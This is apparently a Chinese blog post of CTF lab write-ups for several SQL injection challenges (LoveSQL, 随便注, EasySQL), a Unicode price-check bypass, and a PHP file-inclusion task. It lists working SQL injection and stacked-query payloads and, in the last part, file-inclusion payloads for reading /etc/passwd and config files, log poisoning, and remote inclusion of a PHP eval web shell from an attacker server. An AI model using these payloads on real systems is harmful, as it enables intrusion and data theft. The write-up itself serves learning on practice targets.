CTF^2

CTF^2

https://ctf2.dasctf.com

[极客大挑战 2019]LoveSQL wp

第一步有搜索框先使用万能密码尝试,注入点优先靠前,使用 来构造永真

1 or 1=1#数值型但是这里的#被过滤了所以使用%23等价于#注释符

1' or 1=1#字符型

密码随意

发现有结果但是不是flag

所以尝试联合型注入:

使用order by 数字来尝试

http://ef3f0a3e840734b568ada53e.http-ctf2.dasctf.com/check.php?username=1' or 1=1 order by

4%23&password=131

使用1' or 1=1 order by 1/2/3/4

当我们执行到4时发现页面有更改

这说明页面段数为3段

接下来查看响应段使用-1' union select 1,2,3%23 使用-1是为了抹除原来的内容

http://ef3f0a3e840734b568ada53e.http-ctf2.dasctf.com/check.php?username=1' union select 1,2,3%23&password=131

响应段为2和3

随后使用函数查看数据库database()代替2或者3

http://ef3f0a3e840734b568ada53e.http-ctf2.dasctf.com/check.php?username=1' union select 1,database(),3%23&password=131

能看到当前数据库为geek

所以使用-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()或者'geek'

解释一下查看本文档墨者学院sql注入题就行

可以看到两个表,接下来查看geekuser表中的字段名

使用-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='geekuser'

能看到三个字段,我们需要查看的是username,password 这两个

使用-1' union select 1,2,(select group_concat(id,'~',username,'~',password) from geekuser)

也可以写成-1' union select 1,2,group_concat(id,'~',username,'~',password) from geekuser

发现跟我们第一次万能密码结果一样,而且不存在其他记录了

所以我们查看另一个表就行

使用-1'union select 1,2,group_concat(column_name ) from information_schema.columns where table_name = 'l0ve1ysq1'

能看到字段名一样,所以使用

-1' union select 1,2,group_concat(id,'~',username,'~',password) from l0ve1ysq1

得到flag

梳理一下思路

遇到登录框先使用万能密码,再尝试数字型,字符型,联合型,布尔型,

如果是联合型就使用union 来注入

先得到数据库名,再得到表名,再得到字段名,再得到字段值

数据库名->表名->字段名->字段值

布尔型则需要大量爆破才行优先使用bp爆破和抓包

[强网杯 2019] 随便注

点击提交

尝试数字型,字符型

发现属于字符型 1' and 1=1 --+ 和1' and 1=2 --+

寻找响应段数

发现当order by 为3时会报错,所以段数为2

然后查找响应段使用

-1' union select 1,2 --+

发现这里过滤 了select update delete drop insert where . 并且不区分大小写

所以不属于联合型注入,也不属于布尔盲注,报错注入

由于select已经被过滤了所以我们使用values来代替select效果差不多但是

格式是values(参数1,参数2,参数3......)

order by 有几段就有几个参数所以这里要写成

-1' union values(1,database())--+

数据库叫supersqli

接着可以查user(),version()等等

但是由于where被过滤了所以就先尝试堆叠注入

堆叠注入 先看https://blog.csdn.net/qq_45927819/article/details/123594626?ops_request_misc=elastic_search_misc&request_id=f378bd8b2d209f692de8ff61d6e21c72&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~ElasticSearch~search_v2-12-123594626-null-null.142^v102^pc_search_result_base1&utm_term=%E5%A0%86%E5%8F%A0%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

使用-1'; show databases--+ 查看所有数据库

-1'; show tables --+ 查看所有表

-1' ; show columns from `1919810931114514` --+这里切记要用反引号,因为mysql中纯数字的表名要用反引号才行

再查看words表字段

-1'; show columns from words--+

所以是查询id=1返回data值

由于flag在1919810931114514表里面我们要查看字段值就必须得用select

但是会触发过滤被丢弃,所以两种方法

方法一:使用handler 来读取

使用-1' ; handler `1919810931114514` open; handler `1919810931114514`read first; handler `1919810931114514` read next; --+

方法二:

改表名,已知默认从words里面打印值,所以我们可以将有flag值的表名改为words就行,但是需要将原来的words改名为其他的,且新的words必须有要查询的字段如id,data

使用1'; rename table words to jkjjk ; rename table `1919810931114514` to words; alter table words add id int unsigned not NULL auto_increment primary key; alter table words change flag data varchar(100); --+

  • alter table words
    1. 作用:修改 words 表的结构。因为执行到这一步时,你已经把 flag 表改名成了 words,所以这句话是针对 flag 表操作的。
  • add id
    1. 作用:给表里新增一个名为 id 的列。
  • int unsigned
    1. 作用:规定这个 id 列的数据类型是无符号整数。
    1. int:整数(比如 1, 2, 3)。
    1. unsigned:不能为负数,范围从 0 开始。因为 ID 不可能为负数,这样写更规范。
  • not NULL
    1. 作用:非空约束。规定这一列的数据不能是空的(NULL)。只要表里有数据,这个 id 就必须有值。
  • auto_increment(重点)
    1. 作用:自动递增。这是 MySQL 特有的功能。它的意思是:当表里有一行数据时,这个 id 自动变成 1;有两行时,自动变成 2,不需要你手动去输入。
  • primary key
    1. 作用:设置为主键。主键代表这一行的唯一标识。在 MySQL 中,要想使用 auto_increment(自动递增),这个字段必须被设置为主键。
  • change 字段名 新字段名 类型

1. [SUCTF 2019]EasySQL

打开靶场

先判断类型属于字符型还是数字型

尝试1

尝试2

发现返回结果一致所以尝试0判断是否为逻辑判断

没有结果所以应该是SQL语句大概是select input||flag值 from flag

再尝试1,2

返回两段值说明注入点在from 前面,所以可以尝试堆叠漏洞

使用1;show databases;

可以看到很多数据库,接下来查看表使用

1;show tables;

发现flag表,接下来查看字段名使用

1;show columns from flag;

感觉应该flag被过滤了,所以尝试绕过过滤试试

发现都不行

但是,我们使用逗号时会分段所以可以使用

*,1就行

1.1. [ASIS 2019]Unicorn shop

题目叫独角兽商店

打开网址看到

有四个商品价格分别是2,5,8,1337 后面的是语言解释分别是

下面则是购买分别是id和支付金额,先尝试1 和2

拿错货了,说明不是这个,继续尝试

当尝试到4时发现

说只允许一个字符,那就意味着,价格这里只能写一个字符而且还得大于等于1337元,先看源代码

建议使用ai帮忙分析

得出结论可以使用unicode编码

这是不安全的输入验证与业务逻辑漏洞,手法属于 Unicode 编码混淆绕过 先盲打都不行,信息收集 html源码注释<!--Ah,really important,seriously. -->说UTF-8/编码是解题关键,别按旧题的现成答案硬套 先对三·个商品id和price输入发现都显示Wrong commodity! 第4个price只能一个字节,正常1-9肯定价格不够、字符也输不了,测测后端用的是 int() / float() / decimal() / digit() 、unicodedata.numeric()来解析的,罗马数字 Ⅿ(U+216F,值=1000)只有 unicodedata.numeric()不会 Ⅿ抛异常、不会显示Error parsing money,显示You don't have enough money 所以就是numeric() 类解析,numeric('万') = 10000>1337 输入万来获得flag

这是别人的感悟,总结就是用一个字符比1337大就行,有万,还有

得到结果

[极客大挑战 2019]Secret File

image

先查看源码

image

 发现一个可以跳转的url,点击一下

image

 点击一下按钮试试

image

 直接结束了,所以猜测存在自动跳转,使用bp抓包,按钮页面

image

 先开启拦截,然后点击按钮

image

 发送到重放器中去,

image

 这就是刚刚跳过的文件,访问它,

image

 发现要绕过waf,过滤了三个参数,

1. 如果没有过滤 ../(目录穿越)

危害:任意文件读取 + 日志投毒

  • 直接读取敏感文件:攻击者可以跳出当前Web目录,读取服务器底层系统文件。

    • Payload: ?file=../../../../etc/passwd (Linux系统用户信息)

    • Payload: ?file=../../../../Windows/win.ini (Windows系统文件)

  • 读取源码:可以配合 php://filter 读取Web目录外部的配置文件源码(如数据库账号密码)。

    • Payload: ?file=php://filter/convert.base64-encode/resource=../../../../var/www/html/config.php

  • 包含日志文件拿Shell(Log Poisoning):通过往服务器日志(如 Nginx 的 access.log 或 SSH 的 auth.log)里写入一句话木马,然后用 ../ 包含该日志文件,直接执行木马代码。

2. 如果没有过滤 tp(允许 http:// / ftp://)

危害:远程文件包含(RFI),直接执行任意代码

  • 如果 PHP 配置中 allow_url_include = On(虽然现代PHP默认关闭,但老系统常有)。

  • 攻击者可以在自己的服务器上放一个恶意脚本(比如 shell.txt,内容为 <?php @eval($_POST['cmd']); ?>)。

  • 然后通过漏洞直接包含这个远程文件:

    • Payload: ?file=http://攻击者服务器IP/shell.txt

    • 此时服务器会去下载并执行这个文件,攻击者直接获得 WebShell。

3. 如果没有过滤 input(允许 php://input)

危害:免上传直接执行代码(RCE)

  • php://input 可以直接读取 POST 请求的原始数据。这意味着攻击者不需要在自己的服务器上搭环境,也不需要上传文件到目标服务器。

  • 攻击者利用 Burp Suite 构造请求:

    • URL: ?file=php://input

    • POST Body: <?php system('whoami'); ?>

  • 服务器直接执行 POST 里的代码(同样需要 allow_url_include = On)。

4. 如果没有过滤 data(允许 data://)

危害:协议流执行代码(RCE)

  • data:// 允许在 URL 中直接嵌入数据并当作文件包含。

  • 攻击者可以直接在 URL 里写代码:

    • Payload: ?file=data://text/plain,<?php system('whoami'); ?>

    • 或者使用 Base64 避免特殊字符被拦截:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== (同样需要 allow_url_include = On)。

  • 可以使用php://filter:指定使用的伪协议
  • php://filter/[read=<过滤器名>]/[write=<过滤器名>]/resource=<要过滤的数据流>
  • php://filter/convert.base64-encode/resource=flag.php
  • 这段url代表,对flag.php采用base64编码形式输出,resource代表对象
  • convert.base64-decode代表base64解密输出

构造payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php就行

 

 

posted @ 2026-10-27 12:49  均木  阅读(8)  评论(0)    收藏  举报